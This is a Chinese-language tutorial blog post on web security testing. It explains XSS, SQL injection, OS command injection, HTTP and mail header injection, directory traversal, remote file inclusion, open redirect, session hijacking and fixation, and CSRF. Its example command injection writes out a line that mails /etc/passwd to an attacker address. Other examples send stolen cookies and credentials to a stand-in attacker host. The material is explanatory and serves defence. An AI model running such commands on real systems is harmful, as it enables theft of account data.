1. 程式人生 > >web安全測試理論知識

web安全測試理論知識

網際網路上的攻擊大都將web站點作為目標。本文講解具體有哪些攻擊web站點的手段,以及攻擊會造成怎樣的影響~~

一、因輸出值轉義不完全引發的安全漏洞

1. 跨站指令碼攻擊(Cross-Site Scripting,XSS)

    指通過存在安全漏洞的web網站註冊使用者的瀏覽器內執行非法的HTML標籤或JavaScript進行的一種攻擊。動態建立的HTML部分有可能隱藏著安全漏洞。        

1.1 影響

1) 利用虛假輸入表單騙取使用者個人資訊
2) 利用指令碼竊取使用者的Cookie值,被害者在不知情的情況下,幫助攻擊者傳送惡意請求
3) 顯示偽造的文章或圖片

1.2 案例

1)在動態生成HTML處發生

這裡寫圖片描述

這裡寫圖片描述

前後程式碼對比

這裡寫圖片描述

這裡寫圖片描述

現象

    瀏覽器開啟該URI後,直觀感覺沒有發生任何變化,但設定好的指令碼卻偷偷開始運行了。當用戶在表單內輸入ID和密碼之後,就會直接傳送到攻擊者的網站(hackr.jp),導致個人登入資訊被竊取。

2)對使用者Cookie的竊取攻擊

在存在可跨站指令碼攻擊安全漏洞的web應用上執行這段JavaScript程式,即可訪問到該web應用所處域名下的Cookie資訊。
這裡寫圖片描述

然後,這些資訊會發送至攻擊者的web網站(http://hackr.jp/),記錄在它的登入日誌中。攻擊者就這樣竊取到使用者的Cookie資訊了。
這裡寫圖片描述

2. SQL注入(SQL Injection)攻擊

    指標對web應用使用的資料庫,通過執行非法的SQL而產生的攻擊。

2.1 影響

1) 非法檢視或篡改資料庫內的資料
2) 規避認證
3) 執行和資料庫伺服器業務關聯的程式等

2.2 案例

這裡寫圖片描述

這裡寫圖片描述

3. OS命令注入攻擊(OS Command Injection)

    指通過web應用,執行非法的作業系統命令達到攻擊的目的。只要在能呼叫Shell函式的地方就有存在被攻擊的風險。

3.1 案例

這裡寫圖片描述

摘選處理該表單內容的一部分核心程式碼
這裡寫圖片描述

程式中的open函式會呼叫sendmail命令傳送郵件,而指定的郵件傳送地址即$adr的值。

攻擊者將下面的值作為郵件地址
這裡寫圖片描述

程式接受該值,構成以下命令組合
這裡寫圖片描述

攻擊者的輸入值中含有分號。這個符號在OS命令中,會被解析為分隔多個執行命令的標記。sendmail命令執行被分割後,接下去就會執行

cat /etc/passwd | mail [email protected]

這樣的命令了。結果,含有linux賬戶資訊 /etc/passwd的檔案,就以郵件形式傳送給了 [email protected]

4. HTTP首部注入攻擊(HTTP Header Injection)

    指攻擊者通過在響應首部欄位內插入換行,新增任意響應首部或主題的一種攻擊。

向首部主體內新增內容的攻擊稱為HTTP響應截斷攻擊(HTTP Response Splitting Attack)。

4.1 影響

1) 設定任何Cookie資訊
2) 重定向至任意URL
3) 顯示任意的主體(HTTP響應截斷攻擊)

4.2 案例

1)HTTP首部注入攻擊案例

該功能為每個類別都設定了一個類別ID值,一旦選定某類別,就會將該ID值反映在響應內的Location首部欄位內,形如Location:http://example.com/?cat=101令瀏覽器發生重定向跳轉

這裡寫圖片描述

攻擊者以下面的內容替代之前的類別ID後傳送請求
這裡寫圖片描述

其中,%0D%0A代表HTTP報文中的換行符,緊接著的是可強制將攻擊者網站(http://hackr.jp/)的會話ID設定成SID=123456789的Set-Cookie首部欄位。傳送該請求後,假設結果返回以下響應:
這裡寫圖片描述

此時,首部欄位Set-Cookie已生效,因此攻擊者可指定修改任意的Cookie資訊,通過和會話固定攻擊(攻擊者可使用指定的會話ID)攻擊組合,攻擊者可偽裝成使用者

攻擊者輸入的%0D%0A原本屬於首部欄位Location的查詢值部分,經過解析後,%0D%0A變成了換行符,結果插入了新的首部欄位。

這樣一來,攻擊者可在響應中插入任意的首部欄位

2)HTTP響應截斷攻擊案例

    HTTP響應截斷攻擊是用在HTTP首部注入的一種攻擊。攻擊順序相同,但是要講兩個%0D%0A並排插入字串後傳送。利用這個兩個連續的換行就可以做出HTTP首部與主體分隔所需的空行了,這樣就能顯示偽造的主體,達到攻擊目的。

這裡寫圖片描述

在可能進行HTTP首部注入的環節,通過傳送上面的字串,返回結果得到以下這種響應:
這裡寫圖片描述

利用這個攻擊,已觸發陷阱的使用者瀏覽器會顯示偽造的web頁面,再讓使用者輸入自己的個人資訊等,可達到跨站指令碼攻擊相同的效果。

另外,濫用HTTP/1.1中彙集多響應返回功能,會導致快取伺服器對任意內容進行快取操作。這種攻擊成為快取汙染。使用該快取伺服器的使用者,在瀏覽遭到攻擊的網站時,會不斷地瀏覽被替換掉的web頁面。

5. 郵件首部注入攻擊(Mail Header Injection)

    指web應用中的郵件傳送功能,攻擊者通過向郵件首部To或Subject內任意新增非法內容發起的攻擊。利用存在安全漏洞的web網站,可對任意郵件地址傳送廣告郵件或病毒郵件。

5.1 案例

該功能可在表單內填入諮詢者的郵件地址及諮詢內容後,以郵件的形式傳送給網站管理員。
這裡寫圖片描述

攻擊者將以下資料作為郵件地址發起請求。
這裡寫圖片描述

%0D%0A在郵件報文中代表換行符。一旦諮詢表單所在的web應用接受了這個換行符,就可能實現對Bcc郵件地址的追加發送,而這原本是無法指定的。

另外,使用兩個連續的換行符就有可能篡改郵件文字內容併發送。
這裡寫圖片描述

再以相同的方法就有可能改寫To和Subject等任意郵件首部或向文字新增附件等動作。

6. 目錄遍歷攻擊(Directory Traversal)

    指對本無意公開的檔案目錄,通過非法截斷其目錄路徑後,造成訪問目的的一種攻擊。這種攻擊有時也稱為路徑遍歷(Path Traversal)攻擊。

通過文字應用對檔案處理操作時,在由外部指定檔名的處理存在疏漏的情況下,使用者可使用…/等相對路徑定位到/etc/passed等絕對路徑上,因此伺服器上任意的檔案或檔案目錄皆有可能被訪問到。這樣一來,就有可能非法瀏覽、篡改或刪除web伺服器上的檔案。

固然存在輸出值轉義的問題,但更應該關閉指定對任意檔名的訪問許可權。

6.1 案例

該功能通過以下查詢欄位,指定某個檔名,然後從/www/log/檔案目錄下讀取這個指定的檔案。
這裡寫圖片描述

攻擊者設定如下查詢欄位後發出請求。
這裡寫圖片描述

查詢欄位為了讀取攻擊者盯上的/etc/passed檔案,會從/www/log/目錄開始定位相對路徑。如果這份read.php指令碼接受對指定目錄的訪問請求處理,那原本不公開的檔案就存在可被訪問的風險。

7. 遠端檔案包含漏洞(Remote File Inclusion)

    指當部分指令碼內容需要從其他檔案讀入時,攻擊者利用指定外部伺服器的URL充當依賴檔案,讓指令碼讀取之後,就可執行任意指令碼的一種攻擊。
    這主要是PHP存在的安全漏洞,對PHP的include或require來說,這是一種可通過設定,指定外部伺服器的URL作為檔名的功能。但PHP5.2.0之後預設設定此功能無效。

固然存在輸出值轉義的問題,但更應控制對任意檔名的指定。

7.1 案例

該功能可通過以下查詢欄位形式指定檔名,並在指令碼內的include語句處讀入這個指定檔案。
這裡寫圖片描述

攻擊者指定如同下面形式的URL發出請求
這裡寫圖片描述

假設web伺服器(example.com)的include可以引入外部伺服器的URL,那就會讀入攻擊者在外部伺服器上事先準備的URL(http://hackr.jp/cmd.php)。結果,通過system函式就能在web伺服器上執行查詢欄位指定的OS命令了。

這裡寫圖片描述

在以上攻擊案例中,執行了可現實web伺服器上檔案及目錄資訊的ls命令。

二、因設定或設計上的缺陷引發的安全漏洞

    指錯誤設定web伺服器,或是由設計上的一些問題引起的安全漏洞。

1. 強制瀏覽(Forced Browsing)

    指從安置在web伺服器的公開目錄下的檔案中,瀏覽那些原本非自願公開的檔案。

1.1 影響

1)洩露顧客的個人資訊等重要情報
2)洩露原本需要具有訪問許可權的使用者才可查閱的資訊內容
3)洩露未外連到外界的檔案

經認證才可顯示的檔案
直接通過URL訪問原本必須經過認證才能在web頁面上使用的檔案(HTML檔案、圖片、PDF等文件、CSS以及其他資料等)

1.2 案例

該日記功能保證了除具有訪問許可權的使用者本人以外,其他人都不能訪問日記。
這裡寫圖片描述

即使沒有訪問許可權,只要知道圖片的URL,通過直接訪問URL就能顯示該圖片。日記的功能和文字具有訪問物件的控制,但不具備對圖片訪問物件的控制,從而產生了安全漏洞。

2. 不正確的錯誤訊息處理

    指web應用的錯誤資訊內包含對攻擊者有用的資訊。

2.1 案例

1)web應用丟擲的錯誤資訊

該認證功能,在輸入表單內的郵件地址及密碼匹配發生錯誤時,會提示錯誤資訊。
這裡寫圖片描述

如圖,提示“郵件地址未註冊”的錯誤訊息。當輸入的郵件地址尚未在該web網站上註冊時,就會觸發這條錯誤訊息。

攻擊者利用進行不同的輸入會提示不同的錯誤資訊這條,就可用來確認輸入的郵件地址是否已在這個web網站上註冊過了。

為了不讓錯誤訊息給攻擊者以啟發,建議將提示訊息的內容僅保留到“認證錯誤”這種程度即可。

2)資料庫等系統丟擲的錯誤資訊

本功能用於檢索資料,當輸入未預料的字串時,會提示資料庫的錯誤。
這裡寫圖片描述

系統丟擲的錯誤主要集中在以下幾個方面:
· PHP或ASP等指令碼錯誤
· 資料庫或中介軟體的錯誤
· web伺服器的錯誤

各系統應對詳細的錯誤訊息進行抑制設定,或使用自定義錯誤訊息,以避免某些錯誤資訊給攻擊者以啟發。

3. 開放重定向(Open Redirect)

    是一種對指定的任意URL作重定向跳轉的功能。假如指定的重定向URL到某個具有惡意的web網站,那麼使用者就會被誘導至那個web網站。

3.1 案例

該功能就是向URL指定引數後,使本來的URL發生重定向跳轉。
這裡寫圖片描述

攻擊者把重定向指定的引數改寫成已設好陷阱的web網站對應的連線,如下
這裡寫圖片描述

使用者看到URL後原以為訪問example.com,不料實際上被誘導至hackr.jp這個指定的重定向目標。
可信度高的web網站如果開放重定向功能,則很有可能被攻擊者選中並用來作為釣魚攻擊的跳板。

4. 因會話管理疏忽引發的安全漏洞

4.1 會話劫持(Session Hijack)

指攻擊者通過某種手段拿到了使用者的會話ID,並非法使用此會話ID偽裝成使用者,達到攻擊的目的。

這裡寫圖片描述

幾種攻擊者可獲得會話ID的途徑
· 通過非正規的生成方法推測會話ID
· 通過竊聽或XSS攻擊盜取會話ID
· 通過會話固定攻擊(Session Fixation)強行獲取會話ID

4.1.1 案例

這裡的認證功能通過會話管理機制,會將成功認證的使用者的會話ID(SID)儲存在使用者瀏覽器的Cookie中。
這裡寫圖片描述

攻擊者在得知該web網站存在可跨站攻擊(XSS)的安全漏洞後,就設定好用JavaScript指令碼呼叫document.cookie以竊取Cookie資訊的陷阱,一旦使用者訪問了該指令碼,攻擊者就能獲取含有會話ID的Cookie。
攻擊者拿到使用者的會話ID後,往自己的瀏覽器的Cookie中設定該會話ID,即可偽裝成會話ID遭竊的使用者,訪問web網站了。

4.2 會話固定攻擊(Session Fixation)

對以竊取目標會話ID為主動攻擊手段的會話劫持而言,會話固定攻擊會強制使用者使用攻擊者指定的會話ID,屬於被動攻擊。

4.2.1 案例

這個web網站的認證功能,會在認證前釋出一個會話ID,若認證成功,就會在伺服器內改變認證狀態。
這裡寫圖片描述

攻擊者準備陷阱,先訪問web網站拿到會話ID,此時,會話ID是未認證狀態。
攻擊者設定好強制使用者使用該會話ID的陷阱,並等待使用者拿著這個會話ID前去認證。一旦使用者觸發陷阱並完成認證,會話ID在伺服器的狀態就會被記錄下來。
最後,攻擊者利用已認證的會話ID順利登陸網站。

Session Adoption

指PHP或ASP.NET能夠接受處理未知會話ID的功能。

惡意使用該功能便可跳過會話固定攻擊的準備階段,從web網站獲得發行的會話IDD步驟。即,攻擊者可私自建立會話ID構成陷阱,中介軟體卻會誤以為該會話ID是未知會話ID而接受。

4.3 跨站點請求偽造(Cross-Site Request Forgeries,CSRF)

指攻擊者通過設定好的陷阱,強制對已完成認證的使用者進行非預期的個人資訊或設定資訊等某些狀態更新,屬於被動攻擊。

4.3.1 影響
1)利用已通過認證的使用者許可權更新設定資訊等
2)利用已通過認證使用者許可權購買商品
3)利用已通過認證使用者許可權在留言板上釋出言論

4.3.2 案例

該功能只允許已認證並登陸的使用者在留言板上發表內容。
這裡寫圖片描述

在該留言板系統上,受害者使用者A是已認證狀態。它的瀏覽器中的Cookie持有已認證的會話ID。
攻擊者設定好一旦使用者訪問,即會發送在留言板上發表非主觀行為產生的評論的請求的陷阱。使用者A的瀏覽器執行完陷阱中的請求後,留言板上也就會留下那條評論。
觸發陷阱之際,如果使用者A尚未通過認證,則無法利用使用者A的身份許可權在留言板上發表內容。

相關推薦

web安全測試理論知識

網際網路上的攻擊大都將web站點作為目標。本文講解具體有哪些攻擊web站點的手段,以及攻擊會造成怎樣的影響~~ 一、因輸出值轉義不完全引發的安全漏洞 1. 跨站指令碼攻擊(Cross-Site Scripting,XSS) 指通過存

Web自動化測試理論知識

tools 不可 知識 提高 autoit 多次 重用 適合 安全性 Web 自動化理論知識 1、自動化測試概述概念:用工具代替/輔助人工完成完成軟件測試活動的過程特點: 可以對程序的新版本自動執行回歸測試 可以執行一些手工測試困難或不可能進行的測試 可以

11個免費的Web安全測試工具

漏洞 fis 速度 程序 car exploit spark fiddler 專業 1.Netsparker Community Edition(Windows) 這個程序可以檢測SQL註入和跨頁腳本事件。當檢測完成之後它會給你提供一些解決方案。 2.Websecurify

web測試知識

一個 src pre 測試web 返回 preview prev 接口 blog 1、測試web端會看請求、數據、定位問題 在瀏覽器中按F12按鈕,然後繼續操作 一個操作有時請求很多個接口,點擊“preview”,查看返回的數據 ==================

安全測試1_Web知識簡介

方式 under 返回 代表發送 .com 請求 web net -1   1、Web發展階段概述:   2、web安全我能提發展形勢:   3、Web工作流程:   4、瀏覽器工作: 瀏覽器(通過域名訪問)->DNS服務器(將域名解析為IP地址)->

性能測試理論知識

cpu 理論 基本 設置 如何 重要 測試方法 優化 影響 吞吐量 指在一次性能測試過程中網絡上傳輸的數據量的總和。 吞吐量指標的作用: 再次將話題回歸到吞吐量上,在我們的性能測試中查看吞吐量對我們的測試有什麽意義呢。 1. 用於協助設計性能測試場景,以及衡量性能測試場景是

web安全測試排查

漏洞排查思路: 1.上傳漏洞 如果看到:選擇你要上傳的檔案 [重新上傳]或者出現“請登陸後使用”,80%就有漏洞了! 有時上傳不一定會成功,這是因為Cookies不一樣.我們就要用WSockExpert取得Cookies.再用DOMAIN、中國菜刀上傳.    2.注入漏洞 字元過濾不嚴

效能測試:效能測試理論知識

一、常見的效能測試工具: Loadrunner(功能強大、重量級、商業軟體) Jmeter(小巧靈活、輕量級、開源) Ngrinder(平臺級產品、開源) NeoLoad(測試過程迅速、高效,可以非常頻繁的執行效能測試以滿足對產品的持續效能改進追蹤) Load

Web安全測試檢查單

是否 會話 order 頁面 str 驗證 短信驗證碼 center click 大類 細項 標記 備註 上傳功能 繞過文件上傳檢查功能 P1 功能測試階段覆蓋 上傳文件大小和次數限制 P1 註冊功能

軟體測試理論知識

軟體測試基礎 1:什麼是軟體缺陷? a.軟體未達到產品設計規範表明的功能;b.軟體出現了產品設計規範指明不會出現的錯誤;c.軟體功能超出產品設計規範指明的範圍;d.軟體未達到產品設計規範雖未指出但應達到的目標;e.軟體測試人員認為軟體難以理解、不易使用、執行速度慢,或者終端使用者認為不好。 2:為什麼會

web安全測試之 xss攻擊

一、 背景知識 1、 什麼是 XSS 攻擊? XSS 攻擊: 跨站指令碼攻擊(Cross Site Scripting) , 為不和層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆。 故將跨站指令碼攻擊縮寫為 XSS。 跨站指令碼攻擊, 是 W

web自動化測試理論

用工具代替/輔助人工完成軟體測試活動的過程,不能為了自動化而自動化 自動化測試特點 可以對程式的新版本自動執行迴歸測試 可以執行一些手工測試困難或不可能進行的測試 可以更好地利用資源 測試具有一致性和可重複性 自動化一定要有框架 自動化測試優勢 節省時間,提高測

軟體測試理論知識基礎詳細解說—總結

01軟體研發流程1.軟體產品軟體產品是指向使用者提供的計算機軟體、資訊系統或裝置中嵌入的軟體或在提供計算機資訊系統整合、應用服務等技術服務時提供的計算機軟體。2.軟體工程軟體工程,英文名SoftwareEngineering,是一門研究用工程化方法構建和維護有效的、實用的和高

Web安全測試之跨站請求偽造(CSRF)

 跨站請求偽造(即CSRF)被Web安全界稱為諸多漏洞中“沉睡的巨人”,其威脅程度由此“美譽”便可見一斑。本文將簡單介紹該漏洞,並詳細說明造成這種漏洞的原因所在,以及針對該漏洞的黑盒測試與灰盒子測試具體方法和示例,最後提提了一些防範該攻擊的建議,希望本文對讀者的安全測試

Web安全測試之XSS

SS 全稱(Cross Site Scripting) 跨站指令碼攻擊, 是Web程式中最常見的漏洞。指攻擊者在網頁中嵌入客戶端指令碼(例如JavaScript), 當用戶瀏覽此網頁時,指令碼就會在使用者的瀏覽器上執行,從而達到攻擊者的目的.  比如獲取使用者的Coo

軟體測試理論知識總結

基本概念:測試是為了發現程式中的錯誤而執行程式的過程 軟體測試工程師在一家軟體企業中擔當的是“質量管理”角色,及時糾錯及時更正,確保產品的正常運作 據瞭解,軟體測試人員必須具有創新性和綜合分析能力,必須具備判斷準確、追求完美、執著認真、善於合作的品質,以及具有豐富的程式設計

Web安全測試(文末送電子書)

今天小編找到了一本web安全測試的電子書,還不錯。有喜歡看電子書的同學可以下載一下。看文末獲取電子書方式.來看看今天的文章吧  常見問題:   1.XSS(CrossSite Script)跨站指令碼攻擊 XSS(CrossSite Script)跨站指令碼攻擊。它指的是惡意

Web安全測試常用工具

Pornzilla是一套有用的FireFox小書籤和擴充套件,它提供了大量方便的、有助於web應用安全測試的工具。如RefSpoof修改HTTP Referer資訊,或許能繞過不安全的登入機制;Digger是一個目錄遍歷工具;Spiderzilla是網站爬蟲工具;Increment和Decrement篡改U

Web安全測試之——XSS漏洞

一、概念 XSS攻擊:跨站指令碼攻擊(Cross Site Scripting),它是Web程式中最常見的漏洞。 XSS攻擊是指攻擊者在網頁中嵌入客戶端指令碼(例如JavaScript), 當用戶瀏覽此網頁時,指令碼就會在使用者的瀏覽器上執行,從而達到攻擊者的目的。比如獲取

菜鳥淺談——web安全測試

本文僅為小白瞭解安全測試提供幫助 一:安全測試注意事項 1)要注意白帽子與黑客之間的區別 2)在挖漏洞掙外快時,注意不要使用安全掃描或暴力破解軟體對上線網站進行掃描或攻擊。 不要對上線網站造成破壞,不要去獲取網站的資料庫資訊等。否則等待的不是money,而